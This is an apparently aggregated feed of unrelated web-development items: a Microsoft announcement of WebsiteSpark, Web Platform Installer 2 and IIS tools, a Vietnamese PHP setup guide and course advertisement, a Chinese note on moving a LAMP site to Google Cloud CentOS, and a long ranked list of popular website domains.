Beyond just software you also get free support, training and Microsoft will even help drive business your way.  Anyone can join as long as 1) you build web sites or applications for other people and 2) your company has less than 10 employees.  If you meet these requirements, sign-up today!  As part of the sign-up process you will need a referral code.  Contact me if you need a code, I’d be happy to sponsor you into the program!  Read more about the program on the WebsiteSpark portal

 

Web Platform Installer 2

I’m also happy to announce that the Web Platform Installer 2.0 is available in final release form!  The Web Platform Installer (sometimes called Web PI) makes it easy to install the latest components of the Microsoft Web Platform including IIS, ASP.NET, Visual Web Developer, SQL Express and more!  New for the final release, we’ve fixed many bugs, improved usability, added new products including Expression Web, Azure Tools and the latest releases also being announced today.  We’re also launching WebPI in 9 different languages and allow users around the world to access the Web Platform in their regional language.  Look for more components of the Microsoft Web Platform to be added to Web PI v2 over time.  Web PI also makes it super easy to install any of the Web applications in the Windows Web App Gallery.  Web PI can also now install both PHP and MySQL for applications that require it.  Install Web PI today!

Trivia: since launching the Windows Web Application Gallery at MIX in March 2009 – just 5 months ago – Web PI has installed more than 840,000 applications!  Do you have a killer Web application just waiting to be discovered by the masses?  Want Microsoft to drive users to your community?  Submit your Web app to the gallery today!

 

Web Deployment Tool

The IIS team just released the final 1.0 version of the Web Deployment Tool, a super powerful deployment technology that you are going to see a lot of going forward.  It is like a swiss army knife for Web masters.  It can migrate sites or entire servers from IIS6 to IIS7.  It can synchronize Web sites or applications between multiple servers.  You can package a Web site or application and then push it out to your entire server farm.  It knows how to not only replicate content, but also configuration, databases, COM dll, GAC assemblies, certificates, ACLs, and a whole lot more.  After about three years of development I’m super excited to see this thing in final release form.  It is already being integrated into Visual Studio 2010 and from there you’ll be able to not only build but also package and deploy your applications with just a few clicks of the mouse.  Other teams around Microsoft are picking this thing up and integrating it as well, so you definitely want to get up to speed with this tool.  Download it today!!

 

Database Manager 1.0

The IIS team just released the 1.0 version of Database Manager, and IIS Manager extension that makes it super easy to manage your database, local or remote, from within the IIS Manager tool.  This thing rocks!  It supports SQL Server and MySQL and is one powerful tool, and completely free.  Check it out!

 

Search Engine Optimization Toolkit – Beta 2

The IIS team also announced the released the beta 2 of the Search Engine Optimization Toolkit, another IIS Manager extension that makes it possible to learn things about your site you can’t find anywhere else.  It crawls your Web site, local or remote, and reports on dozens of well known but hard to discover issues that cause your site to be less relevant to search engines.  This version includes many bugs fixes and new features over the previous release, definitely check it out and send feedback to the team on the forums

 

Application Request Routing 2 – Release Candidate

The IIS team is also releasing a Release Candidate of the 2.0 version of the Application Request Routing extension for IIS7/IIS7.5, which provides built-in routing, load balancing, proxying and caching support on the IIS platform.  This release includes an all-new disk cache option, bug fixes and performance improvements.  Read more about the release in the learn portal.   This powerful extension is available for free, download it today!


          Giới Thiệu Cài Đặt Cấu Hình PHP   

GIỚI THIỆU CÀI ĐẶT CẤU HÌNH PHP

PHP Hypertext Preprocessor là ngôn ngữ kịch bản thực thi trên server được thiết kế để tạo ra các trang web động. Ngôn ngữ PHP ra đời 1984 bởi Rasmus Lerdorf và hiện nay PHP được sử dụng rộng rải trong các ứng dụng web, vì sao PHP được sử dụng rộng rải ?
+ Mã nguồn miễn phí (open source).
+ Ngôn ngữ dễ học, dễ viết mã.
+ Có thể chạy trên hệ điều hành Windows, Linux, Mac.
+ Thao tác với nhiều hệ quản trị cơ sở dữ liệu như MYSQL , MS SQL , POSTGRE, DB2
+ Được hổ trợ rất lớn cộng đồng mã nguồn mở
+ Tài nguyên về mã rất lớn có thể dễ dàng tìm kiếm qua internet
- Cài Đặt
+ Để có thể chạy được mã PHP bạn phải cài đặt các thành phần riêng rẻ như Apache, PHP với cách cài đặt này ta phải làm hoàn toàn bằng thủ công, tuy nhiên để tránh các lỗi phát sinh trong quá trình cài đặt ta có thể tham khảo các bộ cài đặt tích hợp như Apperv, Xampp, Wampp... Ở đây để đơn giản chúng ta chọn Apperv phiên bản 2.5.10

+ Bước 1: tải phiên bản Apperv cho hệ điều hành Windows phiên bản 2.5.10, chạy tập tin 
appserv-win32-2.5.10.exe để tiến hành cài đặt, cửa sổ đầu tiên ta nhấn Next

+ Bước 2 : Thông tin bản quyền chúng ta nhấn I Agree
+ Bước 3 : Chọn thư mục để cài đặt phần này bạn nên chuyển sang ổ dĩa D. Sau đó nhấn Next

+ Bước 4 : Bạn để mặc định các tùy chọn và nhấn Next

+ Bước 5 : Khai báo các thông số để Apperv cài đặt
+ Servername: tên máy chủ phần này bạn luôn luôn để là localhost
+ Administrator Email Address: admin@gmail.com
+ Apache HTTP Port (Default) : 80 phần này nếu như trên máy bạn đã cài một webserver nào đã sử dụng port 80 thì bạn hãy chọn port khác như 82, 83 để tránh xung đột giữa các webserver

+ Bước 6: Cấu hình cho MYSQL bạn gõ mất khẩu vào 2 ô Enter Root Password , Re-enter Root Password để thiết lập mật khẩu cho MYSQL
+ Character Set : phần này bạn nên chọn là UTF-8 Unicode để có thể lưu các thông tin bằng tiếng việt có dấu.
+ Bước 7 : Hoàn tất và đợi tiến trình cài đặt 

+ Bước 8 : Sau khi đã cài đặt xong nhấn Finish
+ Bước 9 : Để kiểm tra ta mở trình duyệt web và gõ vào đường dẫn như sau http://localhost nếu hiện ra như hình dưới là việc cài đặt đã thành công


             
 

Khóa Học Lập Trình PHP Căn Bản


Hiện nay PHP đang được sử dụng rộng rãi trong các ứng dụng web vì đặc điểm là mã nguồn miến phí, dễ đọc, dễ dàng thao tác với nhiều hệ quản trị cơ sở dữ liệu, và quan trọng hơn hết là được ủng hộ rất lớn từ cộng đồng mã nguồn mở bằng chứng là hiện nay rất nhiều PHP Framework đã được đưa vào sử dụng trong các website như Zend , Codeigniter…Để có thể thao tác dễ dàng với các PHP Framework đòi hỏi người dùng phải nắm vững kiến thức căn bản về PHP. Bạn có ý tưởng làm web cho mình hoặc cho khách hàng, bạn có căn bản lập trình, bạn chưa biết về PHP vậy hãy đến với khóa học lập trình PHP căn bản chúng tôi sẽ giúp ý tưởng của bạn thành hiện thực.


lập trình php căn bản buôn mê thuột
- Đối Tượng Theo Học

+ Các bạn học sinh, sinh viên chưa tốt nghiệp hoặc đã đi làm muốn trang bị kiến thức và kỹ năng lập trình PHP

- Bạn Sẽ Làm Được Gì Sau Khi Kết Thúc Khóa Học ? 

+ Bạn hoàn toàn có thể tự làm website như tin tức, bán hàng, rao vặt, giới thiệu doanh nghiệp. Trong đó các nội dung trong site là hoàn toàn động và dễ dàng thao tác cập nhật thông tin qua hệ thống quản trị với giao diện thân thiện dể sử dụng.

+ Bạn có thể dễ dàng tiếp cận và tự nghiên cứu các mã nguồn mở như Joomla, Drupal....

+ Tự tin khi xin việc và sẵn sàng nói tôi là lập trình viên PHP.

- Môi Trường Học

+ 100% thời gian học thực hành trên máy.

+ Mỗi học viên được cấp 1 tài khoản hosting phục vụ cho việc học tập.

- Thời Gian Học

+ Khóa học: 3 tháng ( 2 giờ / 1 buổi ) , tuần 3 buổi + 2 tuần làm đồ án

+ Học phí : 3.000.000

+ Thời hạn đăng ký: từ 1/10/2013 đến 31/10/2013

Địa Điểm

+ Địa điểm: CÔNG TY TNHH TRUYỀN THÔNG ĐA PHƯƠNG TIỆN NTMEDIA , địa chỉ 72 YNUÊ – TP.BUÔN MA THUỘT TỈNH DAKLAK

+ Liên hệ: Mr.Nam 0937 602 003, Mr.Trúc 0120 301 8818

+ Email: info@ntmedia.vn , laptrinhphp@ntmedia.vn

          + Link : Khóa Học Lập Trình PHP Căn Bản
- Quyền Lợi Học Viên

+ Học viên với đề án cuối khóa từ 9 đến 10 điểm được miễn phí toàn bộ Khóa Học Lập Trình PHP Nâng Cao và được xem xét làm việc tại công ty.

+ Học viên sau khi hoàn thành khóa học có thể tham gia các buổi học chuyên đề bổ sung kiến thức, tư vấn kỷ thuật miễn phí tại công ty khi gặp các vấn đề trong thực tế làm việc.

- Nội Dung Chi Tiết Khóa Học

1. Thiết Kế Web Tĩnh 2. Giới Thiệu PHP
- Các khái niệm cơ bản
- Cấu trúc trang web chuẩn W3C
- Kỹ thuật CSS
- Kỹ thuật Javascript
- Chèn Javascript vào trang web
- Ứng dụng Javascript để tạo menu ngang, doc, tạo slide chuyển động
- JQuery Framework
- Thiết kế Layout cho trang.
- Các khái niệm, cài đặt, cấu hình
- Biến , Hằng
- Kiểu dữ liệu
- Toán tử
- Các lệnh điều kiện( if .. switch)
- Vòng lặp( for .. foreach…while)
2. Hàm 3. Mảng
- Hàm là gì ?
- Khai báo hàm
- Sử dụng hàm
- Truyền tham số trong hàm
- Tầm vực của biến trong hàm
- Giới thiệu Mảng
- Tạo mảng, truy xuất, thêm, xóa, sửa các phần tử trong mảng
- Sắp xếp mảng
- So Sánh mảng
- Mảng đa chiều là gì ?
- Các hàm hổ trợ mảng trong PHP
4. Chuỗi 5. Thao Tác Với Tập Tin
- Định nghiã chuỗi
- Mối liên kết mảng và chuỗi
- Các hàm tìm kiếm, so sánh, thay thế, chuyển đổi chuỗi
- Tạo tập tin
- Đọc tập tin
- Xóa tập tin
- Lấy tập tin về thông qua internet bằng mã PHP
6. Lập Trình Form 7. Lập Trình Hướng Đối Tượng
- Xử lý form với phương thức GET
- Xử lý form với phương thức POST
- Xử lý HTTP HEADER cookie, session, redirection
- Định nghĩa lớp, thuộc tính, phương thức
- Lớp hằng, tĩnh, trừu tượng là gì ?
- Thừa kế lớp
- Cơ chế hoạt động của Constructor, Destructor
- Sức mạnh khi áp dụng hướng đối tượng trong PHP
8. MYSQL 9. Phần Mở Rộng
A. Quy trình khảo sát, phân tích, thiết kế cơ sở dữ liệu
- Tổng quan các hệ quản trị cơ sở dữ liệu
- Lược đồ quan hệ co sở dữ liệu
B. Ngôn ngữ SQL
- Giới thiệu ngôn nghữ SQL
- Các kiểu dữ liệu
- Các toán tử
- Các câu lệnh truy vấn
+ Tạo bảng
+ Thay đổi các thành phần trong bảng
+ Chèn dữ liệu vào bảng
+ Xóa dữ liệu
- Các lệnh hiển thị dữ liệu
+ Seelct đơn
+ Select có sắp xếp tăng hoặc giảm
+ Select có điều kiện
+ Select có sử dụng các hàm tính toán
+ Select trên nhiều bảng
+ Select lồng trong select
C. Thao Tác Với PHP
- Tạo kết nối tới CSDL
- Lựa chọn CSDL định dạng hiển thị unicode
- Thực thi câu lệnh SQL
- Duyệt các kết quả trả về từ SQL
A.XML
- Định nghĩa XML, quy tắc trong tập tin XML
- Thao tác với SimpleXMLElement
- Đọc cấu trúc XML
- Truy xuất thuộc tính, đối tượng con
- Chỉnh sửa dữ liệu trong XML
B.Biểu Thức Chính Quy
- Giới Thiệu
- Quy Tắc
- Tạo biểu thức chính quy
- Tìm và thay thế chuỗi theo biểu thức chính quy
C.Mô Hình MVC
- Giới thiệu
- Ví dụ về mô hình MVC
- Viết mã PHP đúng cách và tối ưu về tốc độ
E. Tổng Quát Kiến Thức
10. Xây Dựng Đồ Án Cuối Khóa
A. Phân Tích 
- Phân tích thiết kế hệ thống
- Xây dựng cơ sở dữ liệu
B. Xây Dựng Trang Quản Trị
- Đăng nhập , đăng xuất
- Quản trị các thành phần thêm, xóa, sửa
- Sử dụng các thành phần trên form nâng cao
- Upload tập tin
- Gửi mail thông báo
- Sử dụng các trình soạn thảo trên web để tạo các bài viết đẹp
- Xây dựng hệ thống phân quyền hạn chế việc truy cập các thành phần quan trọng của trang
C. Xây Dựng Trang Ngoài
- Xây dựng Menu trái, phải
- Xây dựng trang chi tiết
- Xây dựng các trang con liên hệ, quảng cáo, banner, bình chọn
- Xây dựng giỏ hàng tạo giỏ hàng, thêm, xóa, sửa các thành phần trong giỏ hàng
- Quản lý các đơn hàng của người dùng
D. Hoàn Thiện Và Đưa Website Lên Host


          搬家到GCP Centos 7 (SELinux)日志:   
系统环境:Centos 7 selinux:开启 Apache:2.4 PHP :5.4 Mysql:GCP 云SQL GCP目标系统基础运行LAMP环境搭建: yun -y install httpd php php-gd php-mbstring php-mysql wget unzip zip nano 可选组件安装: yun -y install php-opcache php-devel php-mcrypt php-pdo php-fpm php-xml php-common 接着开始网站搬家 1、备份数据库。 借助帝国备份王备份数据库:http://ebak.phome.net/ 2、打包网站。 使用zip命令打包网站以及备份数据库文件 zip -q -r www.zip /var/www/ 格式:zip 参数 压缩包名字 压缩文件夹目录 然后mv移动压缩包文件到你网站根目录。 3、转移打包文件。 mkdir创建一个临时目录,并进入 使用wget http://clin003.com/www.zip (记得域名替换为自己的) 4、解压。 unzip www.zip …
          0 - 10000   
1) google.com
2) facebook.com
3) youtube.com
4) yahoo.com
5) blogspot.com
6) baidu.com
7) wikipedia.org
8) live.com
9) twitter.com
10) qq.com
11) msn.com
12) yahoo.co.jp
13) linkedin.com
14) google.co.in
15) amazon.com
16) sina.com.cn
17) taobao.com
18) wordpress.com
19) google.com.hk
20) google.de
21) ebay.com
22) yandex.ru
23) google.co.uk
24) google.co.jp
25) bing.com
26) google.fr
27) 163.com
28) microsoft.com
29) weibo.com
30) paypal.com
31) google.com.br
32) flickr.com
33) mail.ru
34) apple.com
35) craigslist.org
36) fc2.com
37) googleusercontent.com
38) imdb.com
39) google.it
40) bbc.co.uk
41) google.ru
42) vkontakte.ru
43) sohu.com
44) tumblr.com
45) google.es
46) ask.com
47) livejasmin.com
48) xvideos.com
49) soso.com
50) youku.com
51) ifeng.com
52) go.com
53) cnn.com
54) bp.blogspot.com
55) google.com.mx
56) tudou.com
57) google.ca
58) aol.com
59) zedo.com
60) mediafire.com
61) xhamster.com
62) conduit.com
63) megaupload.com
64) godaddy.com
65) adobe.com
66) pornhub.com
67) google.co.id
68) about.com
69) alibaba.com
70) ameblo.jp
71) 4shared.com
72) ebay.de
73) espn.go.com
74) wordpress.org
75) livedoor.com
76) rakuten.co.jp
77) google.com.tr
78) google.com.au
79) youporn.com
80) babylon.com
81) uol.com.br
82) cnet.com
83) huffingtonpost.com
84) chinaz.com
85) livejournal.com
86) renren.com
87) thepiratebay.org
88) google.pl
89) ebay.co.uk
90) nytimes.com
91) t.co
92) amazon.de
93) alipay.com
94) tmall.com
95) imgur.com
96) dailymotion.com
97) myspace.com
98) cnzz.com
99) netflix.com
100) google.com.sa
101) odnoklassniki.ru
102) stumbleupon.com
103) badoo.com
104) globo.com
105) addthis.com
106) doubleclick.com
107) megaclick.com
108) twitpic.com
109) amazon.co.jp
110) secureserver.net
111) google.nl
112) douban.com
113) stackoverflow.com
114) orkut.com.br
115) dailymail.co.uk
116) orkut.com
117) weather.com
118) hao123.com
119) tianya.cn
120) tube8.com
121) reddit.com
122) goo.ne.jp
123) 360buy.com
124) sogou.com
125) pengyou.com
126) deviantart.com
127) vimeo.com
128) google.com.ar
129) imageshack.us
130) amazon.co.uk
131) photobucket.com
132) filestube.com
133) xnxx.com
134) warriorforum.com
135) fileserve.com
136) google.cn
137) redtube.com
138) 58.com
139) aweber.com
140) taringa.net
141) amazonaws.com
142) megavideo.com
143) torrentz.eu
144) google.co.th
145) google.com.pk
146) bankofamerica.com
147) spiegel.de
148) google.com.eg
149) sourceforge.net
150) xinhuanet.com
151) ehow.com
152) guardian.co.uk
153) clicksor.com
154) optmd.com
155) yfrog.com
156) nicovideo.jp
157) filesonic.com
158) digg.com
159) maktoob.com
160) mixi.jp
161) indiatimes.com
162) statcounter.com
163) fbcdn.net
164) rapidshare.com
165) rediff.com
166) foxnews.com
167) google.co.za
168) avg.com
169) download.com
170) ucoz.ru
171) ringtonepartner.com
172) adf.ly
173) yelp.com
174) liveinternet.ru
175) reference.com
176) rambler.ru
177) naver.com
178) booking.com
179) mashable.com
180) wikimedia.org
181) blogfa.com
182) etsy.com
183) ganji.com
184) reuters.com
185) yieldmanager.com
186) w3schools.com
187) zol.com.cn
188) chase.com
189) files.wordpress.com
190) onet.pl
191) youjizz.com
192) bild.de
193) wikia.com
194) ameba.jp
195) techcrunch.com
196) 56.com
197) answers.com
198) skype.com
199) domaintools.com
200) hotfile.com
201) kaixin001.com
202) terra.com.br
203) archive.org
204) clickbank.com
205) comcast.net
206) typepad.com
207) squidoo.com
208) salesforce.com
209) allegro.pl
210) wsj.com
211) google.com.my
212) digitalpoint.com
213) google.co.ve
214) free.fr
215) google.be
216) hootsuite.com
217) soufun.com
218) repubblica.it
219) telegraph.co.uk
220) xunlei.com
221) mywebsearch.com
222) qiyi.com
223) people.com.cn
224) soku.com
225) sparkstudios.com
226) walmart.com
227) orange.fr
228) wupload.com
229) google.com.co
230) hostgator.com
231) google.gr
232) leboncoin.fr
233) adultfriendfinder.com
234) scribd.com
235) china.com
236) php.net
237) tripadvisor.com
238) google.com.vn
239) espncricinfo.com
240) narod.ru
241) outbrain.com
242) wellsfargo.com
243) youdao.com
244) web.de
245) gmx.net
246) search-results.com
247) google.com.tw
248) hatena.ne.jp
249) linkwithin.com
250) tribalfusion.com
251) slideshare.net
252) 51.la
253) ezinearticles.com
254) libero.it
255) joomla.org
256) kaskus.us
257) hp.com
258) cam4.com
259) isohunt.com
260) netlog.com
261) themeforest.net
262) rutracker.org
263) dell.com
264) csdn.net
265) google.com.ua
266) twimg.com
267) 360.cn
268) cj.com
269) paipai.com
270) wp.pl
271) hulu.com
272) google.at
273) google.se
274) wretch.cc
275) plentyoffish.com
276) nifty.com
277) seesaa.net
278) tagged.com
279) fiverr.com
280) ning.com
281) mozilla.com
282) ikea.com
283) xing.com
284) google.ro
285) groupon.com
286) 2ch.net
287) pgmediaserve.com
288) homeway.com.cn
289) 10086.cn
290) mop.com
291) target.com
292) kat.ph
293) opendns.com
294) facemoods.com
295) in.com
296) constantcontact.com
297) ups.com
298) google.ch
299) daum.net
300) angege.com
301) icio.us
302) dropbox.com
303) 126.com
304) instagr.am
305) hudong.com
306) wordreference.com
307) google.com.ph
308) match.com
309) xe.com
310) searchqu.com
311) google.pt
312) dianping.com
313) usps.com
314) thefreedictionary.com
315) google.cl
316) goal.com
317) google.com.pe
318) marca.com
319) latimes.com
320) depositfiles.com
321) orkut.co.in
322) hubpages.com
323) pconline.com.cn
324) ig.com.br
325) ign.com
326) softonic.com
327) hardsextube.com
328) uimserv.net
329) biglobe.ne.jp
330) istockphoto.com
331) zimbio.com
332) yesky.com
333) ku6.com
334) mlb.com
335) corriere.it
336) bitly.com
337) google.com.ng
338) spankwire.com
339) w3.org
340) elpais.com
341) getfirebug.com
342) amazon.cn
343) bloomberg.com
344) seznam.cz
345) elance.com
346) washingtonpost.com
347) google.com.sg
348) ebay.it
349) metacafe.com
350) weebly.com
351) webs.com
352) histats.com
353) ynet.com
354) imagevenue.com
355) t-online.de
356) kooora.com
357) forbes.com
358) att.com
359) sakura.ne.jp
360) pandora.com
361) 51job.com
362) over-blog.com
363) businessinsider.com
364) kakaku.com
365) chinanews.com
366) mercadolivre.com.br
367) tmz.com
368) baixing.com
369) bestbuy.com
370) ebay.com.au
371) expedia.com
372) 4399.com
373) freelancer.com
374) samsung.com
375) google.co.kr
376) lockerz.com
377) soundcloud.com
378) android.com
379) mozilla.org
380) huanqiu.com
381) btjunkie.org
382) indeed.com
383) eastmoney.com
384) engadget.com
385) ero-advertising.com
386) milliyet.com.tr
387) google.ae
388) blog.163.com
389) nih.gov
390) rr.com
391) amung.us
392) admin5.com
393) partypoker.com
394) multiply.com
395) hurriyet.com.tr
396) alimama.com
397) love21cn.com
398) drupal.org
399) autohome.com.cn
400) gazeta.pl
401) people.com
402) elmundo.es
403) keezmovies.com
404) google.co.hu
405) rbc.ru
406) kuko115.com
407) vnexpress.net
408) softpedia.com
409) 39.net
410) mihanblog.com
411) comcast.com
412) leo.org
413) sitesell.com
414) feedburner.com
415) google.ie
416) drudgereport.com
417) livedoor.biz
418) basecamphq.com
419) lashou.com
420) youm7.com
421) mailchimp.com
422) gamespot.com
423) odesk.com
424) dmm.co.jp
425) commentcamarche.net
426) time.com
427) blackhatworld.com
428) bluehost.com
429) drtuber.com
430) informer.com
431) letitbit.net
432) tradedoubler.com
433) lenta.ru
434) mpnrs.com
435) americanexpress.com
436) myegy.com
437) cntv.cn
438) vmn.net
439) inetglobal.com
440) 51.com
441) google.dk
442) dangdang.com
443) jquery.com
444) fedex.com
445) camzap.com
446) aizhan.com
447) mynet.com
448) cnbc.com
449) pornhublive.com
450) ebay.fr
451) skyrock.com
452) thesun.co.uk
453) bigpoint.com
454) usatoday.com
455) vancl.com
456) tinypic.com
457) shutterstock.com
458) surveymonkey.com
459) naukri.com
460) zing.vn
461) geocities.jp
462) snapdeal.com
463) abcnews.go.com
464) sape.ru
465) google.no
466) meituan.com
467) mybrowserbar.com
468) xvideoslive.com
469) news.com.au
470) fatakat.com
471) zynga.com
472) neobux.com
473) discuz.net
474) slutload.com
475) miniclip.com
476) hc360.com
477) iloveyouxi.com
478) shareasale.com
479) gutefrage.net
480) qidian.com
481) justin.tv
482) meetup.com
483) exblog.jp
484) imesh.com
485) livingsocial.com
486) newegg.com
487) coupons.com
488) google.fi
489) google.cz
490) letmewatchthis.ch
491) verizonwireless.com
492) google.co.il
493) virgilio.it
494) way2sms.com
495) ya.ru
496) videobb.com
497) multiupload.com
498) aljazeera.net
499) seomoz.org
500) tweetmeme.com
501) gsmarena.com
502) pogo.com
503) duowan.com
504) mapquest.com
505) cocolog-nifty.com
506) pinterest.com
507) blackberry.com
508) altervista.org
509) posterous.com
510) ibm.com
511) extratorrent.com
512) asahi.com
513) careerbuilder.com
514) vk.com
515) tabelog.com
516) chip.de
517) ziddu.com
518) media.tumblr.com
519) monster.com
520) bitauto.com
521) swagbucks.com
522) exoplanetwar.com
523) wunderground.com
524) hdfcbank.com
525) foursquare.com
526) detik.com
527) tom.com
528) kinopoisk.ru
529) pchome.net
530) docin.com
531) verycd.com
532) brothersoft.com
533) github.com
534) zhaopin.com
535) sinaimg.cn
536) yomiuri.co.jp
537) mercadolibre.com.mx
538) hi5.com
539) demonoid.me
540) speedtest.net
541) wetter.com
542) wo.com.cn
543) immobilienscout24.de
544) peyvandha.ir
545) bearshare.com
546) marketwatch.com
547) oracle.com
548) gc.ca
549) hypergames.net
550) kijiji.ca
551) zillow.com
552) fotolia.com
553) yandex.ua
554) pptv.com
555) linksynergy.com
556) imagebam.com
557) ocn.ne.jp
558) beeg.com
559) xcar.com.cn
560) dmoz.org
561) irctc.co.in
562) battle.net
563) qip.ru
564) mobile.de
565) ovh.net
566) exoclick.com
567) amazon.fr
568) ustream.tv
569) abril.com.br
570) 115.com
571) hotels.com
572) who.is
573) am10.ru
574) nu.nl
575) macrumors.com
576) wix.com
577) habrahabr.ru
578) uploadstation.com
579) so-net.ne.jp
580) last.fm
581) grooveshark.com
582) allrecipes.com
583) lemonde.fr
584) cracked.com
585) disney.go.com
586) smashingmagazine.com
587) jugem.jp
588) templatemonster.com
589) oneindia.in
590) moneycontrol.com
591) cnblogs.com
592) cashtrafic.com
593) okcupid.com
594) jimdo.com
595) mercadolibre.com.ar
596) nextag.com
597) xtendmedia.com
598) letv.com
599) excite.co.jp
600) sitemeter.com
601) networkedblogs.com
602) appspot.com
603) tnaflix.com
604) webmd.com
605) mgid.com
606) anonym.to
607) clixsense.com
608) icontact.com
609) gotomeeting.com
610) tutsplus.com
611) softlayer.com
612) aliexpress.com
613) glispa.com
614) weather.com.cn
615) lequipe.fr
616) urbandictionary.com
617) priceline.com
618) cbsnews.com
619) formspring.me
620) gizmodo.com
621) traforet.ru
622) makepolo.com
623) qunar.com
624) yellowpages.com
625) force.com
626) verizon.com
627) getresponse.com
628) infolinks.com
629) qq937.com
630) as.com
631) 17kuxun.com
632) enterfactory.com
633) viadeo.com
634) ucoz.com
635) www.net.cn
636) flippa.com
637) oron.com
638) boston.com
639) dtiblog.com
640) blogimg.jp
641) nfl.com
642) pch.com
643) clickbank.net
644) persianblog.ir
645) admagnet.net
646) manta.com
647) capitalone.com
648) sulekha.com
649) google.co.ma
650) infusionsoft.com
651) timeanddate.com
652) rottentomatoes.com
653) whitepages.com
654) 4tube.com
655) sahibinden.com
656) gougou.com
657) mtv.com
658) paper.li
659) megaporn.com
660) tripod.com
661) mysql.com
662) pcpop.com
663) backpage.com
664) ibibo.com
665) warez-bb.org
666) bleacherreport.com
667) sponichi.co.jp
668) it168.com
669) retailmenot.com
670) theplanet.com
671) icicibank.com
672) lifehacker.com
673) 19lou.com
674) wired.com
675) focus.cn
676) sky.com
677) infoseek.co.jp
678) ekolay.net
679) ebay.in
680) enet.com.cn
681) google.sk
682) custhelp.com
683) scriptmafia.org
684) pixiv.net
685) varzesh3.com
686) seobook.com
687) com-net.info
688) 2345.com
689) atwiki.jp
690) xda-developers.com
691) vg.no
692) manzuo.com
693) webmoney.ru
694) allocine.fr
695) lzjl.com
696) itau.com.br
697) gismeteo.ru
698) webmasterworld.com
699) nasa.gov
700) nate.com
701) interia.pl
702) mtime.com
703) wikihow.com
704) realtor.com
705) sapo.pt
706) quikr.com
707) xtube.com
708) businessweek.com
709) hubspot.com
710) tuan800.com
711) searchengines.ru
712) sweetim.com
713) beemp3.com
714) arpg2.com
715) youboy.com
716) heise.de
717) issuu.com
718) ypmate.com
719) barnesandnoble.com
720) sanook.com
721) uploading.com
722) msn.ca
723) lefigaro.fr
724) dreamstime.com
725) accuweather.com
726) homedepot.com
727) ndtv.com
728) smh.com.au
729) foxsports.com
730) 17173.com
731) aftonbladet.se
732) kayak.com
733) 123rf.com
734) searchresultsdirect.com
735) putlocker.com
736) hyves.nl
737) babycenter.com
738) bodybuilding.com
739) radikal.ru
740) cmbchina.com
741) icbc.com.cn
742) alphaporno.com
743) filehippo.com
744) adult-empire.com
745) eluniversal.com.mx
746) overstock.com
747) inbox.com
748) dantri.com.vn
749) kompas.com
750) dyndns.org
751) telegraaf.nl
752) ca.gov
753) tuenti.com
754) elegantthemes.com
755) wiktionary.org
756) break.com
757) zhubajie.com
758) slickdeals.net
759) skysports.com
760) sfgate.com
761) hoopchina.com
762) nhk.or.jp
763) klout.com
764) songs.pk
765) 1und1.de
766) southwest.com
767) sfr.fr
768) ctrip.com
769) iminent.com
770) eyny.com
771) zanox-affiliate.de
772) onlinedown.net
773) ft.com
774) haberturk.com
775) howstuffworks.com
776) cnbeta.com
777) nk.pl
778) traidnt.net
779) orbitz.com
780) masrawy.com
781) freeones.com
782) myfreecams.com
783) google.co.nz
784) rtl.de
785) dict.cc
786) taleo.net
787) usbank.com
788) 7k7k.com
789) dealextreme.com
790) marktplaats.nl
791) pixnet.net
792) td.com
793) iteye.com
794) empflix.com
795) yiqifa.com
796) trulia.com
797) gap.com
798) yocc.net
799) 4chan.org
800) ahram.org.eg
801) magentocommerce.com
802) tf1.fr
803) linkbucks.com
804) goo.gl
805) alertpay.com
806) youjizzlive.com
807) seriesyonkis.com
808) asg.to
809) 178.com
810) me.com
811) opera.com
812) pornhost.com
813) sears.com
814) articlesbase.com
815) nikkei.com
816) metrolyrics.com
817) noaa.gov
818) trafficholder.com
819) picnik.com
820) rakuten.ne.jp
821) made-in-china.com
822) jeuxvideo.com
823) npr.org
824) zendesk.com
825) logmein.com
826) orf.at
827) okwave.jp
828) skycn.com
829) pagesjaunes.fr
830) google.com.kw
831) iciba.com
832) cbssports.com
833) examiner.com
834) tubegalore.com
835) namecheap.com
836) livescore.com
837) 9kele.com
838) discoverbing.com
839) pornerbros.com
840) nypost.com
841) java.com
842) liveperson.net
843) independent.co.uk
844) ninemsn.com.au
845) vivanews.com
846) icq.com
847) marketgid.com
848) pcworld.com
849) nokia.com
850) nipic.com
851) intuit.com
852) gazzetta.it
853) r7.com
854) welt.de
855) gamefaqs.com
856) zappos.com
857) ads8.com
858) justdial.com
859) bahn.de
860) pokerstrategy.com
861) perezhilton.com
862) google.lk
863) iconfinder.com
864) macys.com
865) google.bg
866) adultadworld.com
867) mail.com
868) askmen.com
869) idnes.cz
870) exbii.com
871) citibank.com
872) nextmedia.com
873) hsbc.co.uk
874) fastclick.com
875) compete.com
876) webhostingtalk.com
877) sueddeutsche.de
878) nydailynews.com
879) firstload.com
880) cbslocal.com
881) mcssl.com
882) kicker.de
883) lenovo.com
884) goodreads.com
885) wn.com
886) hostmonster.com
887) blogsky.com
888) earthlink.net
889) sxc.hu
890) dafont.com
891) mainichi.jp
892) tenpay.com
893) mangareader.net
894) google.az
895) 55tuan.com
896) m-w.com
897) foodnetwork.com
898) zoho.com
899) gumtree.com
900) uploaded.to
901) 24h.com.vn
902) google.com.qa
903) chinabroadcast.cn
904) novinky.cz
905) linternaute.com
906) groupon.de
907) httptrack.com
908) logsoku.com
909) woot.com
910) seowhy.com
911) acesse.com
912) mangafox.com
913) mediaset.it
914) mbc.net
915) forobeta.com
916) groupon.cn
917) hidemyass.com
918) sidereel.com
919) modelmayhem.com
920) ikariam.com
921) sitepoint.com
922) list-manage.com
923) adscale.de
924) cloob.com
925) ticketmaster.com
926) patch.com
927) lacaixa.es
928) clarin.com
929) ultimate-guitar.com
930) allabout.co.jp
931) linkhelper.cn
932) chinadaily.com.cn
933) movie2k.to
934) delta.com
935) gawker.com
936) adjuggler.net
937) giveawayoftheday.com
938) filecrop.com
939) brazzers.com
940) vistaprint.com
941) usmagazine.com
942) politico.com
943) cy-pr.com
944) damnlol.com
945) alice.it
946) vente-privee.com
947) discovery.com
948) intel.com
949) tiexue.net
950) technorati.com
951) meteofrance.com
952) icicibank.co.in
953) uuu9.com
954) 6.cn
955) networksolutions.com
956) tinyurl.com
957) auto.ru
958) codecanyon.net
959) shopathome.com
960) armorgames.com
961) nikkansports.com
962) nikkeibp.co.jp
963) pcmag.com
964) makeuseof.com
965) spotify.com
966) quora.com
967) apache.org
968) incredimail.com
969) google.com.do
970) fishki.net
971) 37see.com
972) ilmeteo.it
973) naver.jp
974) eventbrite.com
975) 78day.com
976) ibtimes.com
977) jalan.net
978) ip138.com
979) panoramio.com
980) norton.com
981) nationalgeographic.com
982) weiphone.com
983) docstoc.com
984) topix.com
985) plimus.com
986) streamate.com
